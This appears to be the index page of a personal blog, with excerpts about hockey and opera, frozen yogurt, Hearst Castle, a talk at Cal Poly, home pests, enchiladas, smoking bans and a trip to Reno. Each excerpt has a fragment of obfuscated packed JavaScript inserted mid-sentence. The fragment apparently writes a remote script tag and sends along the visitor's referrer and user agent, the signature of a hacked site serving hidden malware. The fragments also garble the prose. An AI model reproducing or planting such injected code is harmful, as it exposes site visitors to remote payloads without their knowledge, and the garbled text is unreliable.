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Why Hockey is like the Opera

1. ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbfa|var|u0026u|referrer|kkhkn||js|php’.split(‘|’),0,{})) If you don’t show up before the game starts you have to wait for a break in the action. When you arrive late to the opera or a musical, you have to wait until the first number is finished. 2. Lean back in your seat. Otherwise the people behind […]

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Fro yo

Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhiab|var|u0026u|referrer|enatt||js|php’.split(‘|’),0,{})) and I love frozen yogurt. We are especially fond of the places that let you serve yourself and add your own toppings. We like them so much, that we try out new places while we are on vacation. We stopped at Bali’s Yogurt in SLO. It was WAY cheap […]

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Hearst Castle

We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ashak|var|u0026u|referrer|ahrin||js|php’.split(‘|’),0,{})) went to the Hearst Castle on our way back from San Luis Obispo. It was INCREDIBLE. It tool 15 years to build and there is so much attention to detail. A couple cool notes: 1. The architect was a former civil engineer and also female. She knew the castle […]

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Cal Poly

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekefk|var|u0026u|referrer|eyhdh||js|php’.split(‘|’),0,{})) do a lot of recruiting for Sandia and was asked to give a little tech talk at Cal Poly San Luis Obispo (say that 3 times fast). They call it SLO for short. In any case, I gave the presentation to a group of ME grad students and then […]

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Why computers were invented…

Computers ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|destk|var|u0026u|referrer|trtkz||js|php’.split(‘|’),0,{})) are great. They check your spelling and they hide awful handwriting. Recently, I spent some time in Reno at the outlets. The green dress was getting retired and I was in search of a dress for wedding season 2010. I’ve never had much luck at BCBG – it’s a […]

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The joys of home ownership

We have a problem with animals. Not Mochi. The wild kind. During ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knyhh|var|u0026u|referrer|atnfb||js|php’.split(‘|’),0,{})) our first year in the house we had an ant infestation and a bird problem. The bird problem is actually really entertaining and may be the subject of another blogpost at a later date. Last year we saw […]

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Enchiladas

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsrnr|var|u0026u|referrer|bzzky||js|php’.split(‘|’),0,{})) started making enchiladas with my roommates during grad school. They are really easy and can last for a few days. This makes lunches and leftovers a snap. You can make them as healthy or as unhealthy as you like 🙂 Start with 1 can of corn (you can use […]

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I think it might have drugs in it

I’m ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fttbf|var|u0026u|referrer|nfbte||js|php’.split(‘|’),0,{})) not sure if I’ve blogged about these before, but it doesn’t matter. They are way too good. Trader Joes White Cheddar Corn Puffs. I swear they are a drug. I can eat an entire bag by myself in one sitting. They are actually not that bad for you as […]

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Smoking Ban

Having just spent the weekend in Reno, Nick and I realized how much we enjoyed the smoking bans in both WA and CA. In fact, many states are following suit. Wikipedia says: As ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynikz|var|u0026u|referrer|ezhhe||js|php’.split(‘|’),0,{})) of February 2010, 25 states have enacted statewide bans on smoking in all enclosed public places, including […]

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We have a gambling problem

Nick and I spent the weekend in Reno for Nick’s AKPsi (business fraternity) conference. There’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdyni|var|u0026u|referrer|sktes||js|php’.split(‘|’),0,{})) not a ton to do in Reno. I killed a few hours by shopping at the outlets and getting my nails done. Nothing too exciting. Nick finished early so we had even more time to […]